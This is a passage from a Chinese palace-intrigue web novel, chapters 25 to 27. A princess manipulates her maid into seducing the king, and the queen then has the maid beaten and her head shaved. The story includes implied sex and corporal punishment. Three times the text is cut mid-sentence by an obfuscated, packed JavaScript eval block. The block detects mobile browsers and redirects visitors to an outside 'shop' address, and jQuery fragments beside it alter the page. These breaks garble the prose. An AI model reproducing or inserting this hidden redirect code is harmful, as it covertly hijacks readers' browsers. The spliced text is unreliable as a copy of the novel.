计划初步落空,可康缇并不感到懊恼,甚至还有些欣慰。 这么长时间过去,何瑛姃还是那么懂她。她不仅懂,还默默收下了她的恶意,像个巧妇一般,将发了霉的烂菜叶子,烹出一碟能端上桌的吃食。 她是善良的,善良到康缇屡屡为之动容。 以往,每当康缇看她一而再、再而三地忍下委屈,周全所有人的体面时,便偃旗息鼓,再不忍心闹下去了。 但这一次,绝对不行。 她若不能从王兄那赢回一城,便无法安心离开西康。 她要红熙打心里断掉对王兄的念想,要她死心塌地依附自己一人。 至于何瑛姃,作为王嫂,曾一次次帮助康缇,从康朔的掌控中挣得一丝喘息。康缇本心是感激她的。 然而,她毕竟是奴婢出身。谁知道这份善良中,是否掺杂了被驯化的结果;谁知道她的柔顺中,是否是强权压制下的无奈。 康缇喜欢何瑛姃善良宽容的样子,却无法说服自己,去相信这份善良。 她只能辜负这位王嫂了。 25. 争(3) 一想到要再一次对不起何瑛姃,康缇的眼眶就开始发热。 “唉——” 她长叹一声,迅速眨了眨眼,将快要溢出的泪水逼退。然后沉下心绪,转头看向红熙,故作无奈:“那就听王妃的吧。等我走后,你就去她那儿伺候,务必尽心,她不会亏待你的。” 红熙愣住了,她万没想到是这个结果,瞪着一双迷惑的大眼睛:“公主殿下,可是……” “没有可是,就这么办。”说罢,康缇扬长而去。 打这之后,红熙出嫁的事,康缇再没提过。红熙也不敢问,但她心里比谁都着急。到手的鸭子飞了,搁谁都受不了。 况且,那日挑嫁妆时,□□馆里摆了那么大阵仗,连内务司的人都惊动了。大家伙儿明着不说,暗地里都在传,好听的、难听的,什么样的话都有。甚至有好事者,直接打听到红熙跟前,这更让她挂不住脸面。 这日,红熙伺候康缇睡下,再回到自己房间时,已是困得不行。灯都没点,直接重倒向床榻。这一躺,突然感到后背有异物感,起身一摸,竟有个方方正正的东西。 红熙点上灯,仔细一瞧,竟是那嫁妆单子,上面密密麻麻记着的,全是她当日看入眼的财宝。 见了这单子,她睡意全无。心说这单子长腿了,怎么跑到自己房里来了?还是说公主命人放在这儿的? 若是公主命人送来的,那她究竟是个什么意思? 难不成公主改主意了? 思来想去,也没琢磨明白。 第二天一早,她匆匆梳洗一番,便去伺候康缇。可刚迈入公主的卧房,竟不见她的人影,床铺上收拾得干干净净。红熙想寻个人问问,公主到底去哪儿了,一出门,便撞见掌事嬷嬷。 “嬷嬷早。”红熙笑着迎上去,“可见着公主了?” “没啊。”那嬷嬷道,“你不是贴身伺候公主的吗?你不知道她去哪儿了?” “哦,今日起得迟了些。” “红熙,不是我说你,你现在愈发怠惰了。”嬷嬷板起脸来,“好歹你还没嫁呢,便对公主不上心了?” “我……”红熙心中不悦。自己说是起迟了,不过寻了个托词,又不是真的日上三竿。什么时候轮到别人说嘴。 “我上不上心的,公主都没说什么,嬷嬷你倒是嘴不闲着。”红熙皮笑肉不笑地揶揄着。 “唉我说你,你真是没良心的!”嬷嬷气哼哼地说,“亏得我昨日还给你送了趟单子!公主让我处置,我就该扔了。” “什么单子?” “还能有什么单子,就是你那嫁妆单子呗!” “是公主让你送来的?” “什么啊?!”嬷嬷又委屈又不忿,“我为着你的事,特意去见了王妃,受了人家好一顿脸色。王妃说,这嫁妆单子她看不了,我就拿回来给公主。公主说她那有一份,让我自行处置。我想着,好歹是给你的,我处置算怎么回事?便亲自送到你屋里。万一哪天公主定下主意,你好拿着单子去请赏,也有个对照。谁承想还送错了,倒显着我一天闲着没事干。” 红熙听了这话,赶紧给嬷嬷赔不是,哄了好半天,才堵住嬷嬷叮里哐当的一顿数落。 再次回到房里,红熙心绪更加纷乱。她攥着那份嫁妆单子,漫无目的地踱步,时不时翻看一下单子。看着上面密密麻麻的条目,再想起那日满眼璀璨的光景,心头不禁发酸。 不知不觉间,一个念头漫了上来。 “公主马上就要离康了,不能错过这次机会!” 想到这,红熙心一横,说干就干。 她在房里翻箱倒柜,找出公主先前赏下的几件鲜亮衣裳,对镜梳妆,打扮得娇俏可人。接着,她又去小厨房弄了些精致的点心果子,仔细装了一食盒,拎在手里,拣了背人处的小径,悄悄往□□馆外走,径直去了清辉殿。 到了殿前才知,康朔去了演武场,人不在。宫人要替她接下食盒,红熙往后一避,笑意盈盈:“公主吩咐了,要奴婢亲自送到王上手中。” 宫人听是公主的意思,便不敢插手,生怕这兄妹俩再生出事端,牵连到自己。 就这样,红熙端着食盒,在寝殿一侧厢房内等待。 左等右等,始终没有王上回来的消息。 无聊之际,窗外卷进来一阵风,虽有些凉,却也携着一丝潮湿温润。红熙探头向外望去。 变天了,似乎就要下雨了。正寻思着,窗外淅淅沥沥的雨便下来了。 这下可坏了。 红熙心说,这雨下了,王上指不定被困在哪儿,更不知道何时才能回来。她心中犹豫不定。若继续等着,万一公主中途回来,发现自己溜出去,只怕要责怪;若此时回去,不知何事才能得空,再来偷偷见上王上一面…… 正当她焦躁不安时,屋外突然传来宫人问安的声音: “王上。” “王上。” …… 终于回来了! 红熙心中大喜,赶紧抱起食盒往正房那边去。到了寝殿门口,她停了下来,等待通传。 康朔果然在里面。他声如洪钟,隔着两道门都听得清楚:“叫她进来!” 红熙喜不自胜,不等婢女过来传话,她一只脚已经迈过门槛。 “红熙姑娘……” 婢女话还没说完,她已款款而入,捧着那食盒来到康朔跟前,盈盈一拜:“奴婢红熙,见过王上。” 康朔周围簇拥着好几个婢女,正为他换下被雨水打湿的衣袍。他长身而立,目光懒懒地落在一众婢女的头顶上,并未正眼看红熙。 “起来吧。”他道,“可是缇儿派你来的?” “是。” “她有何事?” “回王上,”红熙声音放缓,一边琢磨,一边回话,“公主她……她想来探望王上,奈何……前些日子与王上……与王上……起了些龃龉,便命奴婢来了。” “哈哈哈哈哈……”康朔突然大笑起来,“她何时这么好心,还记得我这个王兄?不会又闯祸了吧?” “没有没有!”红熙连忙解释,“公主她……惦记……王上。” “切!”康朔嗤笑,“蠢货,撒个谎都不会!” 红熙闻言,扑通跪下,额头点在地上:“奴婢不敢,奴婢该死……” “你倒是不敢,还是该死啊?”康朔抬起左臂,一把拨开面前的两名婢女,直至能看见跪在地上的红熙,以及她旁边的食盒,“那是什么?” “是、是些糕点果子。” “你准备的?” “是……是。” “拿出来瞧瞧。” 红熙小心翼翼地起身,打开盒盖,再将里头的吃食一样样取出,在旁侧桌上小心摆开: 杏脯蜜饯、奶皮酥、糖霜核桃、蜂糕…… 康朔从婢女的簇拥中出来,走到桌子跟前,漫不经心地扫了一眼。 “我不爱吃这些甜腻的东西。”说着,他捏起一块杏脯,咬下一半,细细咀嚼,“太甜了。” 说罢,他将手中剩下半块毫不留情地扔回碟中。补了一句:“都拿给雪奴吃吧。” 雪奴是康朔养的一只狗。 一名婢女适时递来帕子,康朔接过,慢条斯理地擦拭粘了蜜汁的手指。其余婢女正要上前,继续为他更衣。他却摆了摆手。 “都下去。” 众人鱼贯退出,门被轻轻关上。 此时,屋内只剩下红熙与康朔。 看着怯生生的红熙,康朔眉头一挑:“你来为我更衣吧。” 红熙心口怦怦跳着,低低应了声“是”,然后垂首上前,手指轻轻搭上他胸前的盘扣。 “王上,”她声如蚊虫,“请、请您抬一抬手。” 康朔依着她,将双手抬起,两臂展开。红熙微微踮脚,从正面环过他的腰身,去解他的革带。那一瞬,二人几乎贴在了一起。 “听说你想让本王收了你?”康朔忽然在她耳畔低声道。 红熙心头一震,连忙收回手,向后退了一步:“奴婢不敢。” “嗯,我知道你不敢,但缇儿敢。”康朔轻笑一声,用平静的语气说道,“我这小妹,打小就不叫人省心。前日,她知道了你我的事,又不乐意了,又作闹起来。烧太庙、跳元台,这桩桩件件,虽说是冲着我来的,却都因你而起。” 闻言,红熙吓得冒冷汗,全身止不住哆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157915|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗦。 她心里明镜似的。 康朔待康缇,是捧在手里怕摔了,含在嘴里怕化了。可待康缇身边的人,却是另一副面孔。但凡有人惹康缇不悦,必定要遭到严惩,从无例外。 红熙虽伺候过康朔一宿,却也没那个胆量赌自己会成为例外。 于是,她“扑通”一声跪倒在地,额头重重磕在地砖上:“王上恕罪!王上恕罪!奴婢实在是没有办法。那日公主关了门,非要逼问,奴婢、奴婢实在是不敢不说……” “哦?”康朔居高临下地看着她,“难道不是你说的,要留在西康,当最贵的奴?” 此话一出,更是吓得红熙魂儿都要飞了。 □□馆的人,名义上是伺候康缇的奴婢,实际上全是康朔的眼线。这么多年来,他从未停止过对康缇的监视。她们主仆说过什么、做过什么,桩桩件件,都在康朔的掌握之中。 一想到这,红熙肠子都悔青了。今日压根不该来。只怕她一进门时,自己心里那点谋算,就被王上看穿了。 “王上恕罪!王上恕罪!”她“哐哐哐”地猛劲磕头,眼泪更是夺眶而出,“王上英武非凡,世间女子无不倾慕。奴婢自知身份卑贱,万万配不上王上。只是……那夜得王上宠幸,情难自禁、忘乎所以,才说出这番妄言,恳请王上恕罪!” 康朔撇了撇嘴:“我还没怪你,怎么又磕上了?你倒是磕得勤快啊?” 说着,他伸手便要去扶红熙,不想却被红熙误会,以为要挨打,便慌忙向后闪身,一不小心绊倒在地。 “怕什么?我又不会吃了你。”康朔看她瑟瑟缩缩,像一只受惊的鹌鹑,不觉笑了,“过来,我这衣裳还没换完呢。” 红熙伏在地上,一动不敢动。 “过来啊。”康朔又唤了一声。 红熙这才战战兢兢地站起身,小步蹭到他面前,颤抖着抬起手,继续为他解衣。 殿中熏着百蕴香,甜醇的气息氤氲着整个房间。 红熙垂着眼,不敢看康朔,只盯着自己指尖那一片衣料,小心翼翼地解开金钩、抽出玉带…… 随着衣物一层层剥落,康朔麦色的皮肤展露无遗,结实硬朗的线条,晃着红熙的眼睛,令她更加慌乱紧张。 “对了。”康朔忽然开口,“缇儿那边,说是要将你许给我。怎么最近不见动静了?她打算何时将你送来?” 红熙手上的动作一顿:“我、我不知道。” “你不知道,所以就自己找来了?想让我为你做主么?” 康朔什么都看得出来。 红熙既不敢承认,也不敢否认,只是垂下眼帘,连呼吸都屏住了。她只觉着手更加不听使唤了,取过崭新洁净的中衣,刚为康朔披上,就在整理衣领时,指甲不小心划到了康朔的脖颈。 “啊!” 康朔还没吱声,倒是红熙自己把自己吓到了,不禁叫了一声,旋即解释道:“王上!奴婢不是故意的!” 康朔没有说话。 他抬起一只手,握住了红熙的手腕,指腹在她手背的皮肤上来回摩挲。每划过一寸,都将温热渡给红熙,烧得她浑身战栗。 “你想让我如何为你做主?”康朔贴在她发红的耳廓边说道。 红熙的睫毛快速眨动,心早就提到了嗓子眼。她干咽了一口,缓声道:“奴婢,全听公主与王上的安排。” “说清楚,到底是听公主的,还是听王上的?” 红熙短暂沉默片刻,才怯生生道:“听、听王上的。” “呵!”康朔笑了。 这“呵”的一声气息,全部铺在红熙耳廓,撩得她半边身子都在发痒。 康朔抬手,抚过她的脸颊,又顺着脸颊滑落到脖颈、锁骨,沿着肩线一路向下,探向深处。 “今日,”康朔俯下身,嘴唇贴上她的脖颈,嗓音低哑,“我来伺候你,如何?” 不待红熙回话,他便攥着她的手腕,拽着她来到床前,轻轻一推。红熙不受控制地跌入柔软的锦褥之间。 她慌忙撑起身子,没来得及回头看一眼王上,后背便压来一片沉重炙热。是康朔的身体,从后方覆上来,将她包裹住。严严实实,密不透风…… 26. 争(4) 开春后,金凉城迎来第一场雨,不大不小,淅淅沥沥,也就刚刚足够润湿地面。 康缇站在璇玑塔最顶层,透过窗棂,俯瞰整个金凉城,灰色的天穹下,任街道多么繁华,此时也沉浸在这不大不小的黏腻中,惆怅又寂寥。 “公主殿下。” 婢女窦韦从外屋进来,施礼禀报:“方才掌事嬷嬷来信,说红熙已经出门了。” “知道了。” 康缇转身来到一方案前,打开上面的锦盒,里面是一只冰底阳绿玉镯。 那本是王兄送的,当时她还与王兄闹别扭,便将这镯子砸了。后来还是何瑛姃捡起一截截残块,找人补了起来。 那时她还是婢女,只用得起杂金。如今上面錾刻的纹理,已经生锈了,与冰透干净的玉镯,极不相称。可若没了这层杂金,碎玉便不成镯了。 康缇抚摸着上面的锈迹,良久,然后将它戴在手上。 “去澄芳苑吧。”她的声音虚飘飘的,“该见见王妃了。” “是。” 主仆二人从璇玑塔离开,很快回到王宫,直奔何瑛姃那边。 澄芳苑内,到处弥漫着草药的气味。 康缇一踏入院中,闻到这股酸苦酸苦的气味,心中不觉憋闷起来。再闻一闻,竟有些恶心。说起来,还是因为心中有愧。 她早就想来看何瑛姃,可作为害她流产的始作俑者,哪还有脸面相见?但这一次,她硬着头皮来了,不是为了表面歉意,而是为了另一个计划。 一个有可能给何瑛姃带来二次伤害的计划。 想到这,康缇心中泛起一阵寒意。不是为别人,而是为她自己。她发现,从自己开始说话的那一刻,竟也变得同王兄一样巧言令色、虚伪至极。 恶心的感觉越来越甚。 然而,她并没有停下脚步。 穿过院子,来到后宅,康缇进了卧房,却止步于内间门口。何瑛姃半靠在床上,一身素白中衣,头发松松挽着,未施脂粉的脸上透出些许苍白,像一朵无所依从的柳絮。 康缇见她这般模样,心头顿时一酸。一路上反复斟酌的寒暄,此刻一句都讲不出口。她以为自己足够铁石心肠,原来只是还没见到那个人。 听到脚步声,何瑛姃缓缓抬眼,一个熟悉的身影,逆光站在门口,看不清脸,却也知道是谁。 活祖宗亲自来了。 “缇儿。”她唤了一声,声音很轻,像呵气一般,“你来了?” 康缇听见她唤自己“缇儿”,声音那么温柔,顿时如蒙大赦。可却也像如临大敌一般,从心底戒备起来,故意用冷淡的语气问候:“你怎么样了?” 何瑛姃见她终于肯来,原本还有点动容,可此时又是这样一副冷漠的面孔,着实烦人。她侧过脸去,不去看康缇:“反正死不了。” “出了这样的事,我也不想……如果你需要道歉,我可以向你赔罪。”康缇道,“说吧,你想要什么,我都可以给你。我给不了的还有王兄。” “康缇!”何瑛姃猛地回过头,直勾勾瞪着她,“你非要同我这样说话吗?” “那我该怎么说?” “你……” 康家兄妹都特别会说话,一个用甜言蜜语包裹狠戾,一个用冷言冷语掩饰关切。总之,他们都不坦诚。不坦诚,就意味着没把对方放在眼里。 何瑛姃厌恶她这样讲话,可一个虚弱的人,也着实没精力与其掰扯,便长叹一口气,转开话题:“好了,别说那些虚的了。你说吧,又要我做什么?可是为了红熙的事?” “嗯,我觉得你的安排甚好,红熙我就给你留下了。”康缇说着,转身看了一眼窦韦,“内庭局那边已经过了手续,这是手启和转移碟,我都带来了。” 窦韦将两样文书递给何瑛姃。 何瑛姃随意扫了一眼,便让婢女收了起来。 “红熙人呢?” “她……”康缇面露难色,“我随后寻着她,再带她过来。” 何瑛姃听出这话不对劲:“寻着她?这是何意?” “就是……”康缇睫毛快速眨动,欲言又止。 “红熙到底在哪儿?”何瑛姃撑着气力,又问了一遍。 “她……我说让她先留在你这伺候,她不大高兴,一早便走了。” “走了?去哪儿了?” “不知道。” “红熙不会是……”何瑛姃处事向来周全,而周全的原因,便是凡事都要想到最坏处。眼下也是如此。 说着,她腾地一下直起身子,掀开锦被,便要下床。 康缇赶紧按住她:“慢点。” “得快点找到红熙!”何瑛姃焦急道,“万一她寻了短见,可就麻烦了。” “这么点事儿,不至于。”康缇安慰道。 “你懂什么?”何瑛姃一边招呼婢女为她更衣,一边对康缇解释,“我见红熙心气儿颇高,你为她打定了主意,却临到关头生变,她怎能甘心?即便不是寻短见,故意藏起来逼你我就范,也是个麻烦的。” “我知道了。”康缇摆了摆手,让前来为何瑛姃更衣的婢女退下,“你且待着,我去找。” 说罢,她便带着窦韦要走。 主仆二人刚走到卧房门口,就见□□馆的内侍来报:“公主,红熙姑娘找到了。” “在哪儿?” “在、在清辉殿。” 康缇闻言,脸色骤变,赶紧打住内侍的话,将他推到外间细说,以免让何瑛姃听见。 何瑛姃虽然没听见,但她看见了。康缇突然变脸,还躲着她,肯定没好事。她急忙叫来婢女搀扶着自己,快步走到门口,一探究竟。 康缇见状,赶紧回身去扶:“你怎么出来了,快回去歇着。” 何瑛姃不肯撤回一步:“红熙为何在清辉殿?” “她……”康缇支支吾吾道,“她送东西去了。” “送的什么?” “没什么。” “到底是什么?” “就一些糕点吃食。” “清辉殿不缺糕点吃食,她为何去送?” …… 何瑛姃生来一副操心的命,凡是经她手的,必须问个清清楚楚、仔仔细细。康缇见瞒她不住,只得命内侍将实情都告诉了何瑛姃。 “回王妃,红熙今日拎了一个食盒去了清辉殿,听殿中宫人说,不过是些果子糕点,王上只尝了一口……” “说重点!”何瑛姃快急死了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184014|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是是,王上留了红熙姑娘,侍、侍寝……” 话音未落,康缇煞有介事地喝止:“混账,你说的什么胡话!大白天侍的什么寝?!” “就是侍……” “住嘴!”康缇刚要掌掴那名内侍,却听身后“扑通”一声。 她回头一看,是何瑛姃摔倒了,便赶紧同一众婢女拥上前,将她扶到床上。 此刻,何瑛姃面色发青,唇无血色,一双朦胧无神的眼睛,半睁不睁的,也看不出是醒着还是晕了。 “王嫂、王嫂……” 康缇连着唤了几声,何瑛姃才慢慢缓过神来。 她眼珠子动了动,像是认出了眼前的人,深吸一口气,待这口气吸到尽头,霎时如泄了闸的洪水一般,化作一声凄厉的哭号。 “啊——” “冤孽!都是一群冤孽!” 她捶着床,嘶声喊着,眼泪汹涌而下,糊了一脸。 “至亲熬成冤家,骨肉变为仇人,还有一群牛鬼蛇神,今日一个念头,明日一个算计,日日夜夜伺机作祟!你们一个个肆意妄为,想怎样便怎样,那我呢?我苦苦撑着,又算什么?苍天啊,我何瑛姃造了什么孽,为何这样对我?我只这一个家,所求不过骨肉相守,家室安宁,有这么难吗?” 一顿哭天抢地,何瑛姃都虚脱了,伏在床上喘了许久,那口气才渐渐平复下来。她抹了一把脸上的泪,红着眼睛,看向众人:“去,叫人过来!” 看着王妃失控的样子,听着她沙哑的声音,婢女内侍们相互看了看,一头雾水,也不知说的是谁。 其中一个离得近的内侍小心翼翼地问:“王妃,叫谁过来啊?” “去清辉殿,把红熙给我押来。” 众人一听是“押来”,还以为听错了,都一副怔怔的表情,抬头看向何瑛姃。 “愣着做什么?”何瑛姃撑着身子坐直了些,“红熙身为公主的贴身婢女,整日不思本分,窥伺宫闱秘事,勾引君王,其心可诛。你们叫几个侍卫,把她押来,我要亲自审!” “是。”几名内侍躬身退下。 一道命令,似乎用尽了何瑛姃所有力气。她没看旁人,只闭着眼睛,靠在床头,像是累极了,又像是在等着什么。 康缇站在一旁,看着何瑛姃这副模样,心头掠过一丝担忧。但仅有一丝。当她意识到自己在担忧时,便赶紧别过头,不看她。看了,只怕会动摇。 不过,该说的话还是要说的。 “王嫂,”康缇上前半步,这次她是故作担忧,“红熙伺候我时,还是很尽心的,你千万别为难她。” 何瑛姃睁开眼,转头看向她。那目光里满是疲惫,却仍强打着精神:“缇儿,你先走吧。红熙已经是我的人了,我会看着办的。你马上要出嫁了,这些腌臜事,你莫要过问。” 她以为康缇什么都不知道,还一心为康朔瞒着那点见不得光的心思。 这正是康缇要的。 “那我走了,你多保重。”她微微颔首。再次昂起头颅时,还多看了何瑛姃一眼。 这一眼藏了许多东西。 屋外,雨还在下,不大不小,淅淅沥沥。稀碎的雨声,像是没完没了的琐事,理不清,永不晴。 27. 争(5) 西境的春雨,虽说也是贵如油,却不及中原那般温润,更像是戈壁枯草上的冰晶,得受住它的冷硬,才能有可能等到它融化时,带来的滋润。 此时,清辉殿外,呼吸都是冷硬冰凉的。而康朔的卧房内,却有些闷热。那是野兽酣斗之后,汗流浃背的气息。 红熙趴在床上,腾着热气的后背,突然一凉。康朔已经起身,从床边捞过来一件袍子,随意一穿,前襟还敞着,大摇大摆去了外间。 外间墙角有一木架,上面摆着十几把短刀,各个精工闪耀,都是康朔的收藏。他取下一把玉鞘黄金错刀,坐在太师椅上,悠哉悠哉地把玩起来。 “唰——咔——唰——咔——” 他拔出刀,再插入鞘中,反反复复,来来回回,房间里只剩这单调的声音。 至于红煕,她原本想着,赶紧收拾了回去,免得被公主察觉。可隔着门望出去,那男人就这么歪在椅子里,对着把刀出神,像个玩腻了又舍不得撒手的小孩,哪有半点君王的样子。她忽然就不急了,索性翻了个身,摊在王上的床上,好像这屋子也有她一份。 “唰——咔——唰——咔——” 康朔听这声音出了神,正沉浸在这单调的安静中,门外不知何时多了些瓮声瓮气的动静。 “外面怎么回事?”他问了一声。 “回王上,”外面传来一名内侍的声音,“王妃那边来人了,要红煕姑娘去一趟,王妃有话要问。” “哦。” “王上,是否让澄芳苑的人进去请红煕姑娘。” “嗯。” 卧房内,红煕只听见王上和外面的宫人说话,并未听清那宫人说了什么,还事不关己地撑起半截身子,含情脉脉地看着康朔。 门“吱嘎”一声开了。 三名嬷嬷并着内侍一拥而入,匆匆给康朔施过礼,便径直往里间,奔着红煕来了。 “你们要干什么?” 红煕还以为是康朔安排的,就像上次一样,要施避子之术,顿时紧张起来。此术施加时,不仅令人痛苦不堪,日后更会落下隐疾,甚至丧命也是可能的。 “王上,求您,不要。”红煕的目光越过嬷嬷们,投向外间的康说,“奴婢尽心伺候您,不会有孕的,请您不要给奴婢避子!” 康朔淡淡地看了她一眼,继续把玩手里的刀。 这时,一旁的嬷嬷说话了:“哼,你这小贱人,还惦记伺候王上?!” 说着,三人生拉硬拽,到底是将红煕拖下床,拽着衣裳扯着头发,便往外面去。 拖到外间,红煕忽然发了狠劲,挣脱出来,扑向康朔,跪在地上,双手紧紧抓住他的衣袍下摆:“王上,求您了!” 康朔百无聊赖地叹了口气,将手中的短刀“咔”的一声推入玉鞘中,俯下身来,单手抬起红煕的下巴,故作无辜:“这可不是我的意思哦。” 红熙愣住了:“王上此话何意?” 不待王上回答,她便被嬷嬷们拖出了门。 康朔看着她凌乱挣扎的背影,轻轻笑了一声,用旁人根本听不见的声音说道:“自然是缇儿的意思。她想玩闹,我也只能陪她了。” 清辉门外,两名侍卫等在门口,见嬷嬷们押着人出来,便接手将红熙扭住,一路推搡着往澄芳苑去。 红熙被带进来时,何瑛姃已经下了床。她穿戴得整整齐齐,端坐在椅中,面色苍白,强撑着一点威仪。屋里所有人都被她屏退了,门窗紧闭,异常安静。 她看着跪在地上的红熙,看了很久。从散乱的发髻到潮红的脸颊,再到衣襟上歪斜的盘扣,目光每移动一寸,郁气便涨一分,但面上仍保持着理智:“先前缇儿跟我提过,你有意伺候王上。我也说了,等缇儿走后,你先来我宫里,日后时机成熟,我会亲自求王上收了你。你究竟为何这般急不可耐?是嫌王上和缇儿闹得不够僵吗?” 红煕低着头,小声挤出一句话:“公主非要和王上闹,我一个奴婢能有什么办法?” “混账!”何瑛姃一掌拍在桌案上,“你不要揣着明白装糊涂!我小产那日,你是怎么侍寝,别以为我不知道。王上与公主之间,恩怨纠葛,纷乱复杂,你非要乱上添乱,勾着王上越陷越深。你到底安得什么心?” 红煕抬起头,斜睨了她一眼:“王妃言重了,王上要临幸我,我还能抗令不成?” “那今日呢?”何瑛姃盯着她,“今日你去清辉殿,难道也是王上的命令吗?” 红煕一时哑口,她把脸别向一旁,咬着嘴唇,不吭声。 何瑛姃又道:“如此行径,就是秽乱宫闱。红煕,你可认罪?” 红煕才不认罪呢。 抛开王妃的身份,她是看不上何瑛姃的。从前看不上,因为她们都是婢女出身,论容貌论才能,自己还高人一等。今日看不上,是因为她只差一步,便能与何瑛姃平起平坐。 有些东西,一旦惦记上了,就好像已经拥有了。 此刻红煕便觉得,何瑛姃不配审她。可人家到底是正经王妃,尊卑规矩压着,她不好太放肆,便只管皮皮赖赖地跪着,一言不发。 “你说话啊!” 红煕还是不说。 “不说是吧?”何瑛姃咬着牙,“来人,掌她的嘴!” 一听要掌嘴,红煕忍不住了:“我是公主的人,犯了错也是公主罚我。” 何瑛姃冷笑道:“公主早已将你转入澄芳苑,都过了内庭局了,转移碟就在苑内。” “不可能,公主未曾跟我说过。” “公主做事还需给你报备吗?”何瑛姃挺起肩背,往前探了探身子,放柔了声音,“缇儿作何打算,我已经同你讲过。明摆着的火坑,你非要往里跳,这是何苦呢?” 红熙仰着脸,眼眶渐渐红了:“不往火坑里跳,我还有机会吗?” “不是还有我吗?”何瑛姃道:“我说过,会帮你的!” “呵呵。”红煕冷笑道,“王妃眼下说要帮我,未必将来真的会帮。” “我可以发誓。” “我见王妃也总是身不由己,如何发得了誓?” 何瑛姃心头一怔。 这话,她太熟了。 康缇从前怼她时,翻来覆去就是这么几句。如今倒好,连她身边的婢女也学会了。 何瑛姃顿时失了气力,身子一散,靠在椅背上,长长地叹一口气,缓了半晌才道:“好啊,好啊。红煕你是好的不学,偏把你们公主那执拗性子学来了。” “公主的性子怎么了?”红煕不假思索,脱口而出,“公主她很好!公主最是聪慧,一眼便能识得何人真心、何人假意。公主宁可损着自己,也从不与那些虚伪之人同流合污。我若能学得公主一半,是我红煕的造化!” 何瑛姃反问:“照你说的,公主那么好,为何要给你设下此局?” 红煕脖子一梗:“若非公主设局,我还没这个机会呢。我就是愿意!” “你……” 何瑛姃看着她。那张年轻的脸,不仅与康缇有几分相像,就连眼神,都学了她几分倔强。 她忽然觉得很累,一头歪在椅背上,抬起一只手,轻轻揉着太阳穴。稍微缓过来一点精神,她按着扶手,吃力地撑起身子,走到红熙面前:“我原本不想为难你,只要你肯认错,今后不再犯,我留你在身边,以后该帮的还是会帮,我打算……” “用不着!”不等王妃把话说完,红熙便直冲冲来了句:“我若有错,那王上也有错!” “你……” 何瑛姃看着面前的婢女,油盐不进,软硬不吃,顿时失去了所有耐心。她扶着桌沿,慢慢坐回椅中:“你怎么想的,我管不了。可你用如此下作龌龊的手段上位,罔顾伦常,败坏宫闱,我绝不可能坐视不管。” 一听到“龌龊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213825|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”二字,红煕挺直脊背,厉目一瞪:“我龌龊?呵呵,王妃当初,不也是这样当上王妃的吗?” “你休要拿你的德行污我!”何瑛姃满脸愠色,腾地站起身:“我有穿过缇儿的衣裳,扮作她的样子,伺候过王上吗?我有一而再、再而三去引诱王上吗?” “哈哈哈哈……”红煕突然大笑起来,笑声尖锐刺耳,还有些悲凉,“能上位的,没有一个人干净。王妃,您伺候公主那些年,常常将公主对王上的怨气,说作对旁人的;公主一时欢喜,你便赶紧将功劳归到王上头上。您早就看清了王上对公主那点心思,表面装作毫不知情,实则借着王上的痴心,附和他,讨他欢喜,一步一步让他视您为知己。你口口声声说我秽乱宫闱,可第一个利用公主的喜怒哀乐,让王上对那点念想越陷越深的,难道不是您?” 何瑛姃闻言,只觉得一股血直冲脑门。她冲上前去,扬手就是一记耳光。 “啪!” 一声脆响,格外刺耳,红煕的一缕头发都被震得垂落下来。 可何瑛姃还觉得不够,她喘着粗气,又骂道:“可我没有拿自己的身子去引诱王上!” 红煕捂着脸,看向何瑛姃,眼神愈发凶狠:“王妃说得对。您与我,还差一副干净身子。可是有什么用呢?您那身子,连王上的子嗣都留不住!” “闭嘴!” 一句话,正中何瑛姃的痛处,她声嘶力竭地咆哮起来:“闭嘴!闭嘴!闭嘴!”由于喊得太过用力,一时感到头晕,她竟“扑通”一声摔倒在地。 外面的宫人听见动静,一窝蜂冲了进来。内侍们七手八脚按住红熙,将她的头死死压在地上,生怕她冲撞王妃。嬷嬷婢女们则扶着王妃坐回椅上,端茶的端茶,倒水的倒水。 何瑛姃瘫软地靠着椅背,脸色煞白,像一张被揉皱了的纸。她大口喘着气,胸口剧烈起伏,缓了半晌,才勉强恢复了些力气。 “无药可救。”她颤颤巍巍地抬起手,指向红煕,“将这无药可救的奴婢拖走,打二十板子,赶出去!” 就这样,红煕被内侍们拖拽着离开。她一路挣扎,一路踢打,嘴里骂着什么,可没人听清。门“哐”地关上,她的身影被隔离在外。 不大一会儿,“咚咚”的闷响在澄芳苑里炸开,一下又一下。伴着那闷响的,是红熙撕心裂肺的惨叫。即便隔着门窗,何瑛姃依旧听得真切。 她心烦意乱,又对身旁的婢女道:“剃了她的头发。” 婢女愣了愣,不敢多问,只领命去了。 于是,苑里又是一阵鸡飞狗跳。挣扎声、哭喊声混成一片,直到红熙被彻底赶出苑门,那声音才慢慢平息下去。 